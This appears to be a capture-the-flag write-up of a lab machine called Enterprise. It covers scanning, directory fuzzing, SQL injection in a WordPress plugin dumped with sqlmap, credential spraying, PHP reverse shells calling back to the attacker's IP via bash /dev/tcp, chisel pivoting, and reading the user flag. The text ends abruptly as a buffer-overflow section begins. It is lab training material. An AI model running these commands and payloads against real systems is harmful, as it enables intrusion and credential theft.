Masscan + Nmap
1
2
3
4
5
6
$ masscan -p1-65535,U:1-65535 `IP` --rate=10000 -e tun0 | tee masscan.out
Discovered open port 32812/tcp on 10.10.10.61
Discovered open port 80/tcp on 10.10.10.61
Discovered open port 22/tcp on 10.10.10.61
Discovered open port 8080/tcp on 10.10.10.61
Discovered open port 443/tcp on 10.10.10.61
Parse those ports to nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
nmap -sVC --min-rate 1000 -p $ports `IP` -oN nmap-fullscan.out
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise – Ships Log
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
Added enterpise.htb
, enterprise.local
to /etc/hosts.
I can give wpscan
a try as I see wordpress installed on port 80. It find a username william-riker
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ wpscan --url http://enterprise.htb -e
[+] URL: http://enterprise.htb/ [10.10.10.61]
[+] Started: Sun Jul 25 21:38:58 2021
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:07 <===============================================================================================================> (356 / 356) 100.00% Time: 00:00:07
[i] User(s) Identified:
[+] william.riker
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Login Error Messages (Aggressive Detection)
[+] william-riker
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
Web 80
Directory fuzzing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ffuf -u http://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .txt,.php,.html -fc 401,403,405
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://enterprise.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
:: Extensions : .txt .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 401,403,405
________________________________________________
wp-admin [Status: 301, Size: 319, Words: 20, Lines: 10]
wp-includes [Status: 301, Size: 322, Words: 20, Lines: 10]
wp-content [Status: 301, Size: 321, Words: 20, Lines: 10]
wp-login.php [Status: 200, Size: 2428, Words: 150, Lines: 70]
readme.html [Status: 200, Size: 7413, Words: 760, Lines: 99]
wp-trackback.php [Status: 200, Size: 135, Words: 11, Lines: 5]
license.txt [Status: 200, Size: 19935, Words: 3334, Lines: 386]
wp-settings.php [Status: 200, Size: 370, Words: 34, Lines: 5]
wp-links-opml.php [Status: 200, Size: 224, Words: 13, Lines: 11]
:: Progress: [252348/252348] :: Job [1/1] :: 193 req/sec :: Duration: [0:22:54] :: Errors: 0 ::
Web 8080
Directory fuzzing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ ffuf -u http://enterprise.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .txt,.php,.html -fc 401,403,405
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://enterprise.htb:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
:: Extensions : .txt .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 401,403,405
________________________________________________
cache [Status: 301, Size: 323, Words: 20, Lines: 10]
templates [Status: 301, Size: 327, Words: 20, Lines: 10]
plugins [Status: 301, Size: 325, Words: 20, Lines: 10]
media [Status: 301, Size: 323, Words: 20, Lines: 10]
index.php [Status: 200, Size: 7704, Words: 345, Lines: 210]
language [Status: 301, Size: 326, Words: 20, Lines: 10]
tmp [Status: 301, Size: 321, Words: 20, Lines: 10]
administrator [Status: 301, Size: 331, Words: 20, Lines: 10]
components [Status: 301, Size: 328, Words: 20, Lines: 10]
bin [Status: 301, Size: 321, Words: 20, Lines: 10]
libraries [Status: 301, Size: 327, Words: 20, Lines: 10]
images [Status: 301, Size: 324, Words: 20, Lines: 10]
modules [Status: 301, Size: 325, Words: 20, Lines: 10]
includes [Status: 301, Size: 326, Words: 20, Lines: 10]
LICENSE.txt [Status: 200, Size: 18092, Words: 3133, Lines: 340]
files [Status: 301, Size: 323, Words: 20, Lines: 10]
home [Status: 200, Size: 7695, Words: 345, Lines: 210]
about [Status: 200, Size: 8170, Words: 402, Lines: 211]
I do see a /administrator endpoint, which has a joomla login page. Tried default and common creds, they didn’t work.
Web 443
Directory bruteforcing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -u https://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .txt,.php,.html -fc 401,403,405
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://enterprise.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
:: Extensions : .txt .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 401,403,405
________________________________________________
index.html [Status: 200, Size: 10918, Words: 3499, Lines: 376]
files [Status: 301, Size: 318, Words: 20, Lines: 10]
. [Status: 200, Size: 10918, Words: 3499, Lines: 376]
Visiting /files gives lcars.zip
.
1
2
3
4
5
$ unzip lcars.zip
Archive: lcars.zip
inflating: lcars/lcars_db.php
inflating: lcars/lcars_dbpost.php
inflating: lcars/lcars.php
lcars.php: This file doesn’t have any code but some comments, which mentions user-interface isn’t created for these php files/pages.
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/*
* Plugin Name: lcars
* Plugin URI: enterprise.htb
* Description: Library Computer Access And Retrieval System
* Author: Geordi La Forge
* Version: 0.2
* Author URI: enterprise.htb
* */
// Need to create the user interface.
// need to finsih the db interface
// need to make it secure
?>
lcars_dbpost.php:
- Setups basic mysqli connection.
- Checks for a parameter query being passed.
- If that’s passed then first it’s changed to only integer. (Which spoils any chance of SQL injection)
- Title for the post matching the ID passed in query variable is selected and printed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php include "/var/www/html/wp-config.php"; $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Test the connection: if (mysqli_connect_errno()){ // Connection Error exit("Couldn't connect to the database: ".mysqli_connect_error()); } // test to retireve a post name if (isset($_GET['query'])){ $query = (int)$_GET['query']; $sql = "SELECT post_title FROM wp_posts WHERE ID = $query"; $result = $db->query($sql); if ($result){ $row = $result->fetch_row(); if (isset($row[0])){ echo $row[0]; } } } else { echo "Failed to read query"; } ?>
lcars_db.php:
- Setups basic mysqli connection.
- Checks for a parameter query being passed.
- ID for the post matching the post name passed in query variable is selected and printed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php include "/var/www/html/wp-config.php"; $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Test the connection: if (mysqli_connect_errno()){ // Connection Error exit("Couldn't connect to the database: ".mysqli_connect_error()); } // test to retireve an ID if (isset($_GET['query'])){ $query = $_GET['query']; $sql = "SELECT ID FROM wp_posts WHERE post_name = $query"; $result = $db->query($sql); echo $result; } else { echo "Failed to read query"; } ?>
Foothold
Locating php files
Trying to find where all these php files exist, I make a directory list which has all directories in port 80,8080 and php file names from zip, and fire it up on port 80, 443 and 8080.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
wp-admin wp-includes wp-content cache templates plugins media language tmp administrator components bin libraries images modules includes files home about lcars lcars_db.php lcars_dbpost.php lcars.php
Recursive directory brute-forcing port 80 with feroxbuster
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ feroxbuster -u http://enterprise.htb/ -w ./list
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.2.1
───────────────────────────┬──────────────────────
Target Url │ http://enterprise.htb/
Threads │ 50
Wordlist │ ./list
Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
Timeout (secs) │ 7
User-Agent │ feroxbuster/2.2.1
Config File │ /etc/feroxbuster/ferox-config.toml
Recursion Depth │ 4
New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 9l 28w 319c http://enterprise.htb/wp-admin
301 9l 28w 321c http://enterprise.htb/wp-content
301 9l 28w 322c http://enterprise.htb/wp-includes
301 9l 28w 329c http://enterprise.htb/wp-includes/images
301 9l 28w 329c http://enterprise.htb/wp-content/plugins
301 9l 28w 326c http://enterprise.htb/wp-admin/images
301 9l 28w 328c http://enterprise.htb/wp-admin/includes
301 9l 28w 335c http://enterprise.htb/wp-content/plugins/lcars
200 4l 0w 9c http://enterprise.htb/wp-content/plugins/lcars/lcars.php
200 4l 4w 25c http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php
200 1l 4w 22c http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php
301 9l 28w 335c http://enterprise.htb/wp-includes/images/media
And we do find the lcars
php pages in wp-content/plugins
which makes sense since we got a zip and wordpress plugins are usually zip files.
lcars_dbpost.php
Let’s try to access lcars_dbpost.php
:
1
2
3
4
$ curl http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php?query=1
Hello world!
$ curl http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php?query=4
Espresso
Let’s make a loop:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ for i in {1..100}; do echo -n "Post $i: "; curl -s http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php?query=$i | tr -s '\n'; done | tee post-name-list
Post 1: Hello world!
Post 3: Auto Draft
Post 4: Espresso
Post 5: Sandwich
Post 6: Coffee
Post 7: Home
Post 8: About
Post 9: Contact
Post 10: Blog
Post 11: A homepage section
Post 13: enterprise_header
Post 14: Espresso
Post 15: Sandwich
Post 16: Coffee
Post 23: enterprise_header
Post 24: cropped-enterprise_header-1.jpg
Post 30: Home
Post 34: Yelp
Post 35: Facebook
Post 36: Twitter
Post 37: Instagram
Post 38: Email
Post 40: Hello world!
Post 51: Stardate 49827.5
Post 52: Stardate 49827.5
Post 53: Stardate 50893.5
Post 54: Stardate 50893.5
Post 55: Stardate 52179.4
Post 56: Stardate 52179.4
Post 57: Stardate 55132.2
Post 58: Stardate 55132.2
Post 66: Passwords
Post 67: Passwords
Post 68: Passwords
Post 69: YAYAYAYAY.
Post 70: YAYAYAYAY.
Post 71: test
Post 78: YAYAYAYAY.
I do see items 66-68 named Passwords. Visiting home-page shows a posts section redirecting to http://enterprise.htb/?p=69
, which YAYAYAYAY. I tried to change that value to 66,67,68 nothing worked.
lcars_db.php
Visiting lcars_db.php
:
1
2
3
4
$ curl -s http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1
Catchable fatal error: Object of class mysqli_result could not be converted to
string in /var/www/html/wp-content/plugins/lcars/lcars_db.php on line 16
That happens because even though lcars_db.php doesn’t have a (int) type change before passing the variable to sql query. It doesn’t have the below code which fetches the query row and outputs it properly in form of string.
1
2
3
4
5
6
if ($result){
$row = $result->fetch_row();
if (isset($row[0])){
echo $row[0];
}
}
So this one becomes sort of Blind-SQL injection.
Dumping databases
Using sqlmap
to get databases:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --batch -dbms mysql --dbs
sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --batch -dbms mysql --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.5.4#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 02:53:44 /2021-07-26/
[02:53:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: query (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: query=(SELECT (CASE WHEN (4477=4477) THEN 1 ELSE (SELECT 2905 UNION SELECT 3751) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: query=1 AND (SELECT 7398 FROM (SELECT(SLEEP(5)))LHvQ)
---
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb
Dumping wordpress
Dumping wp_users table from wordpress database:
1
2
3
4
5
6
7
8
9
10
$ sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --batch -dbms mysql --dump --threads 10 -D wordpress -T wp_users
Database: wordpress
Table: wp_users
[1 entry]
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| 1 | <blank> | $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2. | william.riker@enterprise.htb | william.riker | 0 | william.riker | william-riker | 2017-09-03 19:20:56 | <blank> |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
Dumping wp_posts table from wordpress database where ID 66-68 contains passwords:
1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --batch --dump --threads 10 -dbms mysql -D wordpress -T wp_posts -C post_content --where "ID>=66 and ID<=68"
Database: wordpress
Table: wp_posts
[3 entries]
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| post_content |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n |
| Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n |
| Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Got 4 passwords here:
1
2
3
4
enterprisencc170
u*Z14ru0p#ttj83zS6
ZD3YxfnSjezg67JZ
ZxJyhGem4k338S2Y
I’ll try that in wp-login with username william.riker
.
1
2
3
4
5
6
7
$ wpscan --url http://enterprise.htb/ -U william.riker -P ./wp-post-passwords --password-attack wp-login
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - william.riker / u*Z14ru0p#ttj83zS6
Trying william.riker / ZD3YxfnSjezg67JZ Time: 00:00:00 <=============================================================== > (4 / 8) 50.00% ETA: ??:??:??
[!] Valid Combinations Found:
Username: william.riker, Password: u*Z14ru0p#ttj83zS6
And we can login as user william.riker.
Dumping joomladb
Listing tables using this command shows edz2g_users
table.
1
$ sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --batch --dump --threads 10 -dbms mysql -D joomladb --tables
Dumping edz2g_users
table:
1
2
3
4
5
6
7
8
9
10
11
$ sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --batch --dump --threads 10 -dbms mysql -D joomladb -T edz2g_users -C username,password
Database: joomladb
Table: edz2g_users
[2 entries]
+-----------------+--------------------------------------------------------------+
| username | password |
+-----------------+--------------------------------------------------------------+
| Guinan | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q |
| geordi.la.forge | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy |
+-----------------+--------------------------------------------------------------+
I’m not able to crack those hashes. I’ll try spraying the users and passwords I collected until now to http://enterprise.htb:8080/administrator/
which is joomla’s login page I got earlier.
geordi.la.forge ZD3YxfnSjezg67JZ
gives redirection when fired up in burp intruder. Rest give “Username and password do not match or you do not have an account yet.”
Now, I can login to joomla admin panel.
Shell for wordpress container
Go to Appearance -> Editor -> 404.php, edit and replace with your php reverse-shell. Go to Home, click on a post. Change it’s id to something non-existing. Ex. enterprise.htb/?p=999
1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.61 58282
Linux b8319d86d21e 4.10.0-37-generic #41-Ubuntu SMP Fri Oct 6 20:20:37 UTC 2017 x86_64 GNU/Linux
08:08:02 up 1 day, 15:29, 0 users, load average: 0.00, 0.25, 0.67
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@b8319d86d21e:/$ whoami
www-data
This seems like a docker instance. /.dockerenv
confirms that.
Getting wp-config.php
contents:
1
2
3
4
5
6
7
8
9
10
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'NCC-1701E');
/** MySQL hostname */
define('DB_HOST', 'mysql');
But MySQL server isn’t running on this box. IP for this docker box is 172.17.0.3
. SQL server is running on 172.17.0.2
1
2
3
4
5
6
7
ss -ant
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:80 *:*
TIME-WAIT 0 0 172.17.0.3:80 10.10.14.17:38060
ESTAB 0 0 172.17.0.3:48116 172.17.0.2:3306
ESTAB 0 0 172.17.0.3:80 10.10.14.17:37814
TIME-WAIT 0 0 172.17.0.3:48262 172.17.0.2:3306
mysql
client isn’t installed on this box. Let’s pivot this box.
Pivoting
Transfer chisel
binary to the target.
- Set up port forwarding
chisel server -p 1111 --reverse
on local/kali box, as usual.chisel client YOUR-LOCAL-BOX-IP:1111 R:2222:127.0.0.1:3333
on target box. Now anything I send tolocalhost:2222
on kali will forward tolocalhost:3333
on target. - There isn’t any service running at
3333
which we can access with2222
, we will make our own service which is chisel socks proxy server on victim.chisel server -p 3333 --socks5
- Connect to the proxy server of course by using that
2222
port to the target. That chisel socks server listening on3333
is a way to get traffic to that port.chisel client localhost:2222 socks
- Use proxychains to access the proxy server
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains
Chisel server at1080
which is getting all that2222
socks proxy client traffic which can be accessed by just:proxychains command
Let’s test if we’ve pivoted to the internal network or not by doing simple nmap scan with proxychains.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
$ proxychains nmap -sT 172.17.0.1-4 --min-rate 1000 -F -sCV 2>/dev/null
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 14:03 IST
Nmap scan report for 172.17.0.1
Host is up (0.32s latency).
Not shown: 96 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise – Ships Log
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 172.17.0.2
Host is up (0.29s latency).
Not shown: 99 closed ports
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.7.19
| mysql-info:
| Protocol: 10
| Version: 5.7.19
| Thread ID: 344981
| Capabilities flags: 65535
| Some Capabilities: SupportsCompression, SupportsLoadDataLocal, LongPassword, Support41Auth, ConnectWithDatabase, FoundRows, ODBCClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, LongColumnFlag, SwitchToSSLAfterHandshake, IgnoreSigpipes, DontAllowDatabaseTableColumn, InteractiveClient, SupportsTransactions, Speaks41ProtocolOld, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: \x01%\x0CR(RC\x05(y\x16(\x163]\x04L\x11\x11z
|_ Auth Plugin Name: mysql_native_password
|_ssl-date: TLS randomness does not represent time
Nmap scan report for 172.17.0.3
Host is up (0.33s latency).
Not shown: 99 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise – Ships Log
Nmap scan report for 172.17.0.4
Host is up (0.36s latency).
Not shown: 99 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Home
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 4 IP addresses (4 hosts up) scanned in 234.87 seconds
Which means: 172.17.0.1
is the Host OS binded with the services other instances are running. It hosts ssh
and https
service by itself. (They mention Ubuntu as host, others as Debian dockers) 172.17.0.2
is running MySQL service. 172.17.0.3
is running Wordpress service at 80, same binded to host. 172.17.0.4
is running Joomla service at 8080 host, but really 80 at docker instance.
I’m still not able to access MySQL server.
1
2
3
4
$ proxychains mysql -H 172.17.0.2 -uroot -p
ProxyChains-3.1 (http://proxychains.sf.net)
Enter password:
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/run/mysqld/mysqld.sock' (2)
Shell for joomla container
After logging in. If we go to Extensions -> Templates -> Templates We see 2 templates installed:
Let’s edit any template and upload rev-shell. I chose “Beez3 Details and Files”, uploaded my php-reverse-shell as index.php. Clicked on save and preview. But got no shell.
The above image shows that preview is disabled in options. I enabled preview in settings options above. Still don’t see any shell back to me. Let’s try doing some simple command injections:
1
2
3
<?php
echo system("whoami");
?>
and that when previewed shows: www-data www-data
Which means it’s vulnerable to cmd-injection. bash -i >& /dev/tcp/10.10.14.17/4444 0>&1
didn’t work, there’s still one workaround:
1
2
3
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.17/4444 0>&1'");
?>
gives us the shell.
1
2
3
4
5
6
$ rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.61 37344
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a7018bfdc454:/var/www/html$
Checking IP address: 172.17.0.4
www-data shell for host
Running linpeas gives some interesting findings:
1
2
3
4
5
[+] Interesting Files Mounted
/var/www/html/files /var/www/html/files rw,relatime - ext4 /dev/mapper/enterprise--vg-root rw,errors=remount-ro,data=ordered
[+] Possible Entrypoints
root root 3.1K Aug 31 2017 /entrypoint.sh
Entrypoint script setups the servers running on the box, connections to mysql database and so on. /var/www/html/files
is mounted from a host. Let’s make a test file and check on https server if that reflects.
1
www-data@a7018bfdc454:/var/www/html/files$ echo "Can you see me?" > caretaker
1
2
root@TheCaretaker:~/HTB/Enterprise$ curl https://enterprise.htb/files/caretaker -k
Can you see me?
Let’s try uploading a php reverse shell once again.
1
www-data@a7018bfdc454:/var/www/html/files$ curl 10.10.14.17/phprev.php -O phprev.php
Visiting https://enterprise.htb/files/phprev.php
gives a shell:
1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.61 49542
Linux enterprise.htb 4.10.0-37-generic #41-Ubuntu SMP Fri Oct 6 20:20:37 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
10:57:00 up 1 day, 17:18, 0 users, load average: 0.00, 0.00, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1472): Inappropriate ioctl for device
bash: no job control in this shell
www-data@enterprise:/$
And I see only one user in home directory jeanlucpicard
, also I can read the user flag:
1
2
www-data@enterprise:/home/jeanlucpicard$ cat user.txt
08552d48aa6d6d9c05dd67f1b4ba8747
Privesc via BOF
Enumerating for SUID files gives /bin/lcars
binary. Which is also serving on a higher port.
1
2
3
4
